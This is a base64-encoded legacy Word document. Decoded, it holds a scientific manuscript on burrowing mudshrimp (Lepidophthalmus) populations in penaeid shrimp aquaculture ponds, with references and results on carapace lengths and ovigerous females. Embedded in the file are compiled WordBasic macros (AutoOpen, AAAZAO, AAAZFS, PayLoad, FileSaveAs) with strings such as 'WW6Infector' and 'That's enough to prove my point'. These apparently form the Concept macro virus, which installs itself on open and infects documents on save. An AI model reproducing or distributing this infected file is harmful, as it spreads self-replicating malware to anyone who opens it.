YWxtdXMgc2ludWVuc2lzOiBBIG5ldyBzcGVjaWVzIG9mIAlnaG9zdCBzaHJpbXAgKERlY2Fwb2Rh > OiBUaGFsYXNzaW5pZGVhOiBDYWxsaWFuYXNzaWRhZSkgb2YgaW1wb3J0YW5jZSB0byB0aGUgCWNv > bW1lcmNpYWwgY3VsdHVyZSBvZiBwZW5hZWlkIHNocmltcHMgb24gdGhlIENhcmliYmVhbiBjb2Fz > dCBvZiBDb2xvbWJpYSwgd2l0aCAJb2JzZXJ2YXRpb25zIG9uIGl0cyBlY29sb2d5LiBGaXNoZXJ5 > ICBCdWxsZXRpbiAgODk6NjIzLTYzMC4NDU5hdGVzLCBTLiBGLiAgKDE5OTUpLiAgUG9wdWxhdGlv > biBkeW5hbWljcyBhbmQgZWNvbG9naWNhbCBpbXBhY3RzIG9mIHRoZSBtdWRzaHJpbXAgZ2VudXMJ > TGVwaWRvcGh0aGFsbXVzIChDcnVzdGFjZWEsIERlY2Fwb2RhLCBUaGFsYXNzaW5pZGVhKSBpbmhh > Yml0aW5nIFBlbmFlaWQgc2hyaW1wICAgICANYXF1YWN1bHR1cmUgcG9uZHMuICBVbml2ZXJzaXR5 > IG9mIFNvdXRod2VzdGVybiBMb3Vpc2lhbmEsIERpc3NlcnRhdGlvbiwgMTQ0IHBwLg0NTmF0ZXMs > IFMuIEYuLCBhbmQgRC4gTC4gRmVsZGVyLiAgKGluIHByZXNzKS4gIFBvcHVsYXRpb24gZHluYW1p > Y3MgYW5kIGVjb2xvZ2ljYWwgaW1wYWN0cyBvZiAJdGhlIGJ1cnJvd2luZyBtdWRzaHJpbXAsIExl > cGlkb3BodGhhbG11cyBvbiBwZW5hZWlkIHNocmltcCBhcXVhY3VsdHVyZSBwb25kcy4gIAlKb3Vy > bmFsIFdvcmxkIEFxdWFjdWx0dXJlIFNvY2lldHkuDQ1OYXRlcywgUy4gRi4gYW5kIEQuIEwuIEZl > bGRlci4gIChTdWJtaXR0ZWQpLiAgUmVsYXRpdmUgZ3Jvd3RoIGFuZCBzZXh1YWwgbWF0dXJhdGlv > biBvZiB0aGUgCWJ1cnJvd2luZyBtdWRzaHJpbXAgTGVwaWRvcGh0aGFsbXVzIHNpbnVlbnNpcyBM > ZW1haXRyZSBhbmQgUm9kcmlndWVzLCAxOTkxIAkoQ3J1c3RhY2VhLCBEZWNhcG9kYSwgQ2FsbGlh > bmFzc2lkYWUpLiAgRmlzaGVyeSBCdWxsZXRpbi4NDU5hdGVzLCBTLiBGLiwgRC4gTC4gRmVsZGVy > IGFuZCBSLiBMZW1haXRyZS4gICgxOTk3KS4gIENvbXBhcmF0aXZlIGxhcnZhbCBkZXZlbG9wbWVu > dCBhbW9uZyAJdHdvIHNwZWNpZXMgb2YgYnVycm93aW5nIG11ZHNocmltcCwgZ2VudXMgTGVwaWRv > cGh0aGFsbXVzIChDcnVzdGFjZWEsIAlEZWNhcG9kYSwgQ2FsbGlhbmFzc2lkYWUpLiAgSm91cm5h > bCBvZiBDcnVzdGFjZWFuIEJpb2xvZ3kgMTcoMyk6IDQ5Ny01MTkNDU5hdGVzLCBTLiBGLiwgRC4g > TC4gRmVsZGVyLCBSLiBMZW1haXRyZSwgUi4gQi4gR3JpZmZpcyBhbmQgUy4gZGUgQS4gUm9kcmln > dWVzLiAxOTk0LiAgRWZmZWN0cyAJb2YgYnVycm93aW5nIGVzdHVhcmluZSBnaG9zdCBzaHJpbXAg > b24gcGVuYWVpZCBhcXVhY3VsdHVyZS4gIFBhZ2UgODYgaW4gQm9vayAJb2YgQWJzdHJhY3RzIFdv > cmxkIEFxdWFjdWx0dXJlIJI5NCwgVGhlIFdvcmxkIEFxdWFjdWx0dXJlIFNvY2lldHksIEJhdG9u > IFJvdWdlLCAJTG91aXNpYW5hLCBVU0EuDQ0NDRoAoQEAlwCk0C+l4D2mCAenCAeooAWpoAWqAAAB > AGQbaQRNQUlOZFIsLSppBUFib3J0ZFJpC2lNYWNyb0NvdW50DGe3gAVsAAASbAAABmRSax5zZWUg > aWYgd2UncmUgYWxyZWFkeSBpbnN0YWxsZWRkUiNpAWkMbAEAJGkLaU1hY3JvQ291bnRkbwIdZ7iA > BWkBaRJsAAASbAAABgxqB1BheUxvYWQeZG8DaQpiSW5zdGFsbGVkDAhsAQBkbwIaHWRvAh1nuIAF > aQFpEmwAABJsAAAGDGoKRmlsZVNhdmVBcx5kbwNpD2JUb29NdWNoVHJvdWJsZQwIbAEAZG8CGh1k > UiZpAWlkUh0CaQpiSW5zdGFsbGVkAwJpD2JUb29NdWNoVHJvdWJsZR5kbwJrNWFkZCBGaWxlU2F2 > ZUFzIGFuZCBjb3BpZXMgb2YgQXV0b09wZW4gYW5kIEZpbGVTYXZlQXMuZG8CaxhQYXlMb2FkIGlz > IGp1c3QgZm9yIGZ1bi5kbwJpDWlXVzZJSW5zdGFuY2UMZwaABWdNgQVqC1dXNkluZmVjdG9yBgZk > bwJpBHNNZSQMZyWABQZkbwJpB3NNYWNybyQMaQRzTWUkB2oIOlBheWxvYWRkbwJnwoBpB3NNYWNy > byQSag5HbG9iYWw6UGF5TG9hZGRvAmkHc01hY3JvJAxpBHNNZSQHagc6QUFBWkZTZG8CZ8KAaQdz > TWFjcm8kEmoRR2xvYmFsOkZpbGVTYXZlQXNkbwJpB3NNYWNybyQMaQRzTWUkB2oHOkFBQVpGU2Rv > AmfCgGkHc01hY3JvJBJqDUdsb2JhbDpBQUFaRlNkbwJpB3NNYWNybyQMaQRzTWUkB2oHOkFBQVpB > T2RvAmfCgGkHc01hY3JvJBJqDUdsb2JhbDpBQUFaQU9kbwJnRoBqBFdXNkkSZweABWkNaVdXNklJ > bnN0YW5jZQdsAQAGZG8CZyuAZweABWkNaVdXNklJbnN0YW5jZQdsAQAGZFIaHWUFQWJvcnQZZBob > AQBkG2kETUFJTmRrM3RoaXMgYmVjb21lcyB0aGUgRmlsZVNhdmVBcyBmb3IgdGhlIGdsb2JhbCB0 > ZW1wbGF0ZWQvaQNkbGc0Z1QAZCwtKmkEYmFpbGQ+aQNkbGdkP2kDZGxnZB1pA2RsZ3PLAAxsAAAe > aQNkbGdzywAMbAEAZGkEc01lJAxnJYAFBmRpCHNUTWFjcm8kDGkEc01lJAdqCTpBdXRvT3BlbmRn > woBqDUdsb2JhbDpBQUFaQU8SaQhzVE1hY3JvJGRpCHNUTWFjcm8kDGkEc01lJAdqBzpBQUFaQU9k > Z8KAag1HbG9iYWw6QUFBWkFPEmkIc1RNYWNybyRkaQhzVE1hY3JvJAxpBHNNZSQHagc6QUFBWkZT > ZGfCgGoNR2xvYmFsOkFBQVpGUxJpCHNUTWFjcm8kZGkIc1RNYWNybyQMaQRzTWUkB2oIOlBheUxv > YWRkZ8KAag5HbG9iYWw6UGF5TG9hZBJpCHNUTWFjcm8kZGdUAGkDZGxnZCppBERvbmVkZQRCYWls > GWQdaQNFcnINbGYAHmRSZ1QAaQNkbGdkGh1lBERvbmUZZBobAQBkG2kETUFJTmRScCAgVGhhdCdz > IGVub3VnaCB0byBwcm92ZSBteSBwb2ludGQaGwEAZBtpBE1BSU5kUiwtKmkFQWJvcnRkUmkLaU1h > Y3JvQ291bnQMZ7eABWwAABJsAAAGZFJrHnNlZSBpZiB3ZSdyZSBhbHJlYWR5IGluc3RhbGxlZGRS > I2kBaQxsAQAkaQtpTWFjcm9Db3VudGRvAh1nuIAFaQFpEmwAABJsAAAGDGoHUGF5TG9hZB5kbwNp > CmJJbnN0YWxsZWQMCGwBAGRvAhodZG8CHWe4gAVpAWkSbAAAEmwAAAYMagpGaWxlU2F2ZUFzHmRv > A2kPYlRvb011Y2hUcm91YmxlDAhsAQBkbwIaHWRSJmkBaWRSHQJpCmJJbnN0YWxsZWQDAmkPYlRv > b011Y2hUcm91YmxlHmRvAms1YWRkIEZpbGVTYXZlQXMgYW5kIGNvcGllcyBvZiBBdXRvT3BlbiBh > bmQgRmlsZVNhdmVBcy5kbwJrGFBheUxvYWQgaXMganVzdCBmb3IgZnVuLmRvAmkNaVdXNklJbnN0 > YW5jZQxnBoAFZ02BBWoLV1c2SW5mZWN0b3IGBmRvAmkEc01lJAxnJYAFBmRvAmkHc01hY3JvJAxp > BHNNZSQHagg6UGF5bG9hZGRvAmfCgGkHc01hY3JvJBJqDkdsb2JhbDpQYXlMb2FkZG8CaQdzTWFj > cm8kDGkEc01lJAdqBzpBQUFaRlNkbwJnwoBpB3NNYWNybyQSahFHbG9iYWw6RmlsZVNhdmVBc2Rv > AmkHc01hY3JvJAxpBHNNZSQHagc6QUFBWkZTZG8CZ8KAaQdzTWFjcm8kEmoNR2xvYmFsOkFBQVpG > U2RvAmkHc01hY3JvJAxpBHNNZSQHagc6QUFBWkFPZG8CZ8KAaQdzTWFjcm8kEmoNR2xvYmFsOkFB > QVpBT2RvAmdGgGoEV1c2SRJnB4AFaQ1pV1c2SUluc3RhbmNlB2wBAAZkbwJnK4BnB4AFaQ1pV1c2 > SUluc3RhbmNlB2wBAAZkUhodZQVBYm9ydBlkGhsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAATwUAAFcFAAC+BQAA > zQUAAM4FAADXBQAA+wUAAAoGAAALBgAAEwYAAHcHAAB4BwAABwkAABYJAADECwAAzAsAANAMAADR > DAAApQ0AAKcNAACpDgAAuA4AALkOAADCDgAACRAAABgQAADaEAAA3BAAACQRAAAzEQAA7xEAAP4R > AAD/EQAACBIAAOgSAAD3EgAA8xMAAPUTAABgFAAALBwAAP36/fr3+v369/r99P36/fr98f36/fr3 > +v36/fH9+v36/fr9+v36/e8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAnUBAAVVgV0DAAVdAwBoAQVWgV0DAAVdAwBeAQNdAwAAKAADAAA8AwAAPQMAAO0EAADu > BAAAnwUAAKAFAADfCgAA4AoAANEMAADSDAAAew4AAHwOAACvDwAAsA8AAF0QAACtEAAArhAAAH4R > AAB/EQAAYRIAAGISAABOEwAATxMAAF0UAABeFAAAXxQAAGAUAAD+AAHAIfAA+gABwCHwAPoABcAh > 8ADzAAHAIfAA8wACwCHwAPMAAcAh8ADzABDAIfAA8wABwCHwAPMABsAh8AD+AAHAIfAA8wAGwCHw > APMAAcAh8ADzAATAIfAA/gABwCHwAP4AAsAh8AD6AAHAIfAA/gABwCHwANEAA8Ah8ADzAAHAIfAA > 8wADwCHwAPMAAcAh8ADzAAPAIfAA8wABwCHwAPMABMAh8ADzAAHAIfAA8wABwCHwAP4AAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAhAAAsAQw0AAACOAoAAwAUAAEAaAEAAAAAAAAuIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAA8FAAEw/QAAAAYAACwBDwUAATD9AAAAAwAAE9ACAAABAAAbDgAPAAgAAQBLAA8AAAAAABoA > AEDx/wIAGgAGTm9ybWFsAAIAAAADAGEJBAAAAAAAAAAAAAAAAAAAAAAAAAAiAEFA8v+hACIAFkRl > ZmF1bHQgUGFyYWdyYXBoIEZvbnQAAAAAAAAAAAAAAAAAAABgEQAABQBgFAAAAwD/////AgAEIP// > AQACIP//AgAAAAAAfg4AAGARAAAAAAEAAAABAAAAAAAAAwAALBwAAA8AAAMAAGAUAAAQAAAAAABr > AAAAdgAAAJ0AAACkAAAArAAAALcAAADIAAAA0AAAANUAAADeAAAAFQEAACEBAAB4AQAAhwEAAIoC > AACVAgAAvgIAAM0CAADOAgAA1wIAANkCAADhAgAA5gIAAO8CAAD7AgAACgMAAAsDAAATAwAAGQMA > AB4DAAAfAwAAJgMAAGIDAABpAwAArQMAALYDAABIBAAAUQQAAPUEAAD+BAAAfwUAAIsFAACQBQAA > nAUAAAcGAAAWBgAATQYAAFQGAABiBgAAbgYAAHMGAAB+BgAACwcAABMHAAA2BwAAPwcAAEAHAABJ > BwAAUgcAAFkHAADIBwAA0wcAAJ4IAACqCAAAxAgAAMwIAADSCQAA2AkAAOcJAADsCQAA9wkAAPwJ > AAAtCgAANAoAAEUKAABQCgAAUQoAAFoKAAB5CgAAhwoAAK4KAAC0CgAAvwoAAMYKAAAqCwAANQsA > AEYLAABRCwAAfAsAAIQLAACWCwAAnwsAAKkLAAC4CwAAuQsAAMILAADkCwAA7AsAAO4LAAD7CwAA > /QsAAAsMAAA5DAAAQAwAALAMAAC1DAAA+QwAAAINAAAJDQAAGA0AABoNAAAjDQAAJQ0AAC0NAAAv > DQAAPA0AAEkNAABQDQAAXQ0AAGgNAACuDQAAsw0AAMYNAADMDQAAGQ4AACIOAAAkDgAAMw4AADcO > AAA+DgAARg4AAFEOAABpDgAAdA4AAH8OAACEDgAAlg4AAJwOAADlDgAA7g4AAO8OAAD+DgAA/w4A > AAgPAAAJDwAAEQ8AABYPAAAfDwAAKA8AADEPAAAzDwAAOw8AAD0PAABLDwAAYg8AAGcPAAB2DwAA > fA8AAIQPAACMDwAA1w8AAOAPAADoDwAA9w8AAPkPAAACEAAABRAAAA0QAAAPEAAAHRAAAE8QAABU > EAAAYxAAAGkQAABuEAAAdhAAAH4QAACFEAAAkxAAAJwQAAC7EAAAxBAAANUQAADcEAAA3RAAAOgQ > AAAPEQAAGhEAACoRAAA1EQAAYhEAAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAc > AAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwA > BwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAH > ABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcA > HAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAc > AAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwA > BwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAHABwABwAcAAcAHAAH > ABwABwAeAAhTLiBOYXRlcxJBOlxzaHJpbXBfZmFybS5kb2P/AQQAVQAAAAEA//8YAwAA5gIAAAIA > AAB8FAAAVQABAAIA///+BQAAswEAAAIAAABiFwAAVQACAAMA//+xBwAAMQAAAAIAAAAVGQAAVQAF > AAAA//8YAwAA5gIAAAIAAABGGQAAECkACEF1dG9PcGVuAQAGQUFBWkFPAQAGQUFBWkZTAQAHUGF5 > TG9hZAEAEQQAAAAGQUFBWkFPAAEABkFBQVpGUwACAAdQQVlMT0FEAAUACEFVVE9PUEVOAEBIUCBM > YXNlckpldCBJSUkATFBUMToASFBQQ0w1TVMASFAgTGFzZXJKZXQgSUlJAEhQIExhc2VySmV0IElJ > SQAAAAAAAAAAAAAAAAAAAAAAAAQBBJQAQAADZwAEAQABAAAAAAAAAAEAAQAsAQEAAQAsAQIAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAACAAAAAAAAAAAAAAABAEAATVNVRE4DSFAgTGFzZXJKZXQgSUlJAAAAAAAAAAAAAAAA > AAAAAACgAQAAAAAAAAAAAAAAAAAAZAAKAAAASFAgTGFzZXJKZXQgSUlJAAAAAAAAAAAAAAAAAAAA > AAAABAEElABAAANnAAQBAAEAAAAAAAAAAQABACwBAQABACwBAgAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAA > AAAAAAEAQABNU1VETgNIUCBMYXNlckpldCBJSUkAAAAAAAAAAAAAAAAAAAAAAKABAAAAAAAAAAAA > AAAAAABkAAoAAAADgAEAXxEAAF8RAAAHAAEAAQBfEQAAAAAAAF8RAAA/ABUWkAEAAFRpbWVzIE5l > dyBSb21hbgAMFpABAgBTeW1ib2wACyaQAQAAQXJpYWwADSKQAQAAVW5pdmVycwAiAAQAcQiIGAAA > 0AIAAGgBAAAAABalIUYWpSFGAAAAAAEAAAAAAIMCAABTDgAAAgAHAAAABACDEB4AAAAAAAAAAAAA > AAIAAQAAAAEAAAAAAAAAJAMAAAAAXwAAADtUbyB0aG9zZSBpbnRlcmVzdGVkIGluIGJ1cnJvd2lu > ZyBzaHJpbXAgYW5kIHNocmltcCBmYXJtaW5nOgAAAAhTLiBOYXRlcwhTLiBOYXRlcwAAAAAAAAAA > AABjb21wYXJlIHF1YXJ0ZXJseSB2YXJpYXRpb25zIGluICB0aGUgZGlzdHJpYnV0aW9uIG9mIHBv > cHVsYXRpb24gc2l6ZSBjb2hvcnRzIGFuZCBvdmlnZXJvdXMgZmVtYWxlcy4gIFRpbWVjb3Vyc2Ug > dHJlbmRzIGluIGJvdGggY2FyYXBhY2UgbGVuZ3RocyBhbmQgc2V4IHJhdGlvcyBmb3IgdGhlIG92 > ZXJhbGwgZm91ci0geWVhciBzcGFuIG9mIHRoZSBzdHVkeSB3ZXJlIGFuYWx5c2VkIGJ5IGxpbmVh > ci1saW5lYXIgcGllY2V3aXNlIHBvbHlub21pYWwgcmVncgEAAAACAAAAAwAAAAQAAAAFAAAABgAA > AAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAA > FQAAAP7////9////GgAAAP7///8iAAAA/v/////////////////////////////////////////+ > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > ////////////////////////////////////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAA > CAcAACADAACgAgAA3wcAAAcAAAAAAAAA//8AAP////8AwAAAAGABABYABQH//////////wEAAAAA > CQIAAAAAAMAAAAAAAABGAAAAAChbRwD2AADwQIx1ehMmvQEZAAAAwAMAAJkRYVBXAG8AcgBkAEQA > bwBjAHUAbQBlAG4AdAAAAAAA/////3+YBFAAAAAAAAAAAP////////////////////8AAAAAGgAC > AQIAAAADAAAA/////xAAAAAAAAAAAhP3vwAAAAD//wAA/////wDAAAAAYAEA/////wAAAAD8KgAA > AAAAAAEAQwBvAG0AcABPAGIAagAAAAAAAAAAAHcBAADQBwAACAcAADIAAADRCQAA0gkAAAcAAAAA > AAAA//8AAP////8SAAIB////////////////AAAAAAAAAAAAAAAAEQEAoOAvRwAAAAAAAAAAAAAA > AAAAAAAAAAAAAGoAAAANAAAABQBTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAA > AP/////QAsAhAAAAAAAAAADMAAAAAAAAACgAAgH/////BAAAAP////9gCkAAAhP3vwgJQAACE/e/ > OApAAAAAAAAAAAAAAAAAAAAAAAACAAAA9AEAAAIT978BAAAA/v///wMAAAAEAAAABQAAAAYAAAAH > AAAACAAAAAkAAAD+////CwAAAAwAAAANAAAADgAAAP7///////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > //////////////////////////////////////////////////////////////////////////// > /////////////////////////////////////////wEA/v8DCgAA/////wAJAgAAAAAAwAAAAAAA > AEYYAAAATWljcm9zb2Z0IFdvcmQgRG9jdW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1 > bWVudC42APQ5snEAAAAAAAAAAAAAAADQzxHgobEa4QAAAAAAAAAAAAAAAAAA/v8AAAQAAgAAAAAA > AAAAAAAAAAAAAAAAAQAAAOCFn/L5T2gQq5EIACsns9kwAAAAxAEAABIAAAABAAAAmAAAAAIAAACg > AAAAAwAAAOQAAAAEAAAA8AAAAAUAAAAEAQAABgAAABABAAAHAAAAHAEAAAgAAAAsAQAACQAAAEAB > AAASAAAATAEAAAoAAAB0AQAACwAAAIABAAAMAAAAjAEAAA0AAACYAQAADgAAAKQBAAAPAAAArAEA > ABAAAAC0AQAAEwAAALwBAAACAAAA5AQAAB4AAAA8AAAAVG8gdGhvc2UgaW50ZXJlc3RlZCBpbiBi > dXJyb3dpbmcgc2hyaW1wIGFuZCBzaHJpbXAgZmFybWluZzoAHgAAAAEAAAAAAAAAHgAAAAkAAABT > LiBOYXRlcwC7QwAeAAAAAQAAAAAsRAAeAAAAAQAAAAAAQAAeAAAABwAAAE5vcm1hbAAAHgAAAAkA > AABTLiBOYXRlcwAAAAAeAAAAAgAAADEAAHMeAAAABQBEAG8AYwB1AG0AZQBuAHQAUwB1AG0AbQBh > AHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAD//////////zgAAgD///////////////////// > /////////////////////wAAAAAAAAAAAAAAAAAAAAAKAAAACAEAAP////////////////////// > ////////////////////////////////////////////////////////////////////AAAAAP// > //////////////////////////////////////////////////////////////////////////// > ////////////////////////////////////////////////////////////AAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABAACAAAAAAAAAAAAAAAAAAAAAAABAAAA > AtXN1ZwuGxCTlwgAKyz5rjAAAADYAAAACAAAAAEAAABIAAAADwAAAFAAAAAEAAAAXAAAAAUAAABk > AAAABgAAAGwAAAALAAAAdAAAABAAAAB8AAAADAAAAIQAAAACAAAA5AQAAB4AAAAEAAAAVVNMAAMA > AAAAPgAAAwAAAB4AAAADAAAABwAAAAsAAAAAAAAACwAAAAAAAAAMEAAAAgAAAB4AAAA8AAAAVG8g > dGhvc2UgaW50ZXJlc3RlZCBpbiBidXJyb3dpbmcgc2hyaW1wIGFuZCBzaHJpbXAgZmFybWluZzoA > AwAAAAAAAABtYWxlcyBpbmNyZWFzZWQgc2xpZ2h0bHkgYnV0IHNpZ25pZmljYW50bHkgb3ZlciB0 > aGUgZmlyc3QgdGhyb3VnaCBmb3VydGggcXVhcnRlcnMgb2YgYWxsIHllYXJzIGV4Y2VwdCAxOTk0 > LCBhIHllYXIgaW4gd2hpY2ggdGhlIHByZXNlbmNlIG9mICBmaXJzdCBxdWFydGVyIHJlY3J1aXRz > IHdhcyBvZmZzZXQgYnkgYSBjb2hvcnQgb2YgbGFyZ2UgaW5kaXZpZHVhbHMgc3Vydml2aW5nIGZy > b20gdGhlIHByZXZpb3VzIHllYXIgKEZpZy4gMikuICBXaGVuIHRyZWF0ZWQgYXMgYSBzZXBhcmF0 > ZSBzZXQsIG1hdHVyZSBzaXplZCBpbmRpdmlkdWFscyAoPjExIG1tIENMKSBvZiBib3RoIG1hbGUg > YW5kIGZlbWFsZSBwb3B1bGF0aW9ucyBpbmNyZWFzZWQgaW4gbWVhbiBjYXJhcGFjZSBsZW5ndGgg > b3ZlciB0aGUgeWVhciwgdXN1YWxseSBwZWFraW5nIGluIHRoZSBmb3VydGggcXVhcnRlciBwcmlv > ciB0byBtYXhpbXVtIGFidW5kYW5jZSBvZiBvdmlnZXJvdXMgZmVtYWxlcyBpbiB0aGUgZm9sbG93 > aW5nIHllYXIgKEZpZy4gM0IsIEQpLiAgTWVhbiBjYXJhcGFjZSBsZW5ndGggb2YgbWFsZXMgYXBw > ZWFyZWQgdG8gc2xpZ2h0bHkgZXhjZWVkIHRoYXQgb2YgZmVtYWxlcyBvdmVyIHRoZSBmdWxsIGNv > dXJzZSBvZiBzdHVkeSwgYW5kIG1hbGVzIHRodXMgZG9taW5hdGVkIGxhcmdlIHNpemUgY2xhc3Nl > cyAoRmlnLiAxQiwgMiwgM0IpLiAgT25seSA0LjMlIG9mIHRoZSBjb2xsZWN0ZWQgZmVtYWxlcyB3 > ZXJlICggMTUuMCBtbSBDTCwgd2hpbGUgMTIuNCUgb2YgbWFsZXMgYXR0YWluZWQgdGhpcyBzaXpl > LiAgVGhlIGxhcmdlc3QgYW5pbWFsIGNvbGxlY3RlZCB3YXMgYSBtYWxlIHRoYXQgbWVhc3VyZWQg > MjAuNyBtbSBDTC4gIERldGVjdGlvbiBvZiByZWNydWl0cyA8IDgtMTAgbW0gQ0wgd2FzIHNwb3Jh > ZGljIHRocm91Z2hvdXQgdGhlIHN0dWR5IChGaWcuIDNFKSwgYW5kIHRyYWNraW5nIG9mIGdyb3d0 > aCBpbiByZWNydWl0bWVudCBjb2hvcnRzIHdhcyBub3QgcG9zc2libGUuICBBbW9uZyBhbGwgb3Zp > Z2Vyb3VzIGZlbWFsZXMgY29sbGVjdGVkIGR1cmluZyB0aGUgc3R1ZHkgKG49NDQ0KSwgc2l6ZSBy > YW5nZWQgZnJvbSA3LjA0IG1tIENMIHRvIDE2LjggbW0gQ0wuICBIb3dldmVyLCAzOC4zJSBvZiBh > bGwgdGhlc2Ugd2VyZSBpbiB0aGUgMTMuMCB0byAxMy45IG1tIENMIHNpemUgY2xhc3MgYW5kIDwg > MS41JSBvZiBvdmlnZXJvdXMgZmVtYWxlcyB3ZXJlIDwgMTEuMCBtbSBDTCAoRmlnLiA1KS4gIER1 > cmluZyBwZWFrIGFidW5kYW5jZXMgb2Ygb3ZpZ2Vyb3VzIGZlbWFsZXMgKEZlYnJ1YXJ5IHRvIEp1 > bmUsIEZpZy4gNCksICA2NC4zJSBvZiAgYWxsIGZlbWFsZXMgaW4gdGhlIDEzLjAgdG8gMTMuOSBt > bSBDTCBzaXplIGNsYXNzIGNvbnNpc3RlZCBvZiBvdmlnZXJvdXMgZmVtYWxlcy4NT2NjdXJyZW5j > ZSBvZiBvdmlnZXJvdXMgZmVtYWxlcyBpbiB0aGUgc2FtcGxlZCBwb3B1bGF0aW9ucywgd2FzIG9i > c2VydmVkIGluIGFsbCBtb250aHMgb2YgdGhlIGZvdXIteWVhciBzdHVkeSAoRmlncy4gMiBhbmQg > M0QpLiAgSG93ZXZlciwgcGVyY2VudGFnZXMgb2Ygb3ZpZ2Vyb3VzIGZlbWFsZXMgaW4gdGhlIHBv > cHVsYXRpb24gd2VyZSBsb3dlc3QgaW4gdGhlIHRoaXJkIHF1YXJ0ZXJzIG9mIDE5OTIsIDE5OTMg > YW5kIDE5OTUsIGFuZCAgdGhlIGZvdXJ0aCBxdWFydGVyIG9mIDE5OTQsIHdoaWxlIHRoZSBoaWdo > ZXN0IG1lYW4gcGVyY2VudGFnZXMgb2NjdXJyZWQgaW4gdGhlIGZpcnN0IG9yIHNlY29uZCBxdWFy > dGVyIG9mIGVhY2ggeWVhci4gIFBlYWsgbWVhbiBhYnVuZGFuY2Ugb2Ygb3ZpZ2Vyb3VzIGZlbWFs > ZXMgY29pbmNpZGVkIHdpdGggdGhlIGhpZ2hlc3QgcXVhcnRlcmx5IHNhbGluaXR5IGluIDE5OTIs > IDE5OTQgYW5kIDE5OTUsIGJ1dCB3YXMgbGVzcyBkZWZpbmVkIGluIDE5OTMgd2hlbiB0aGUgZm91 > 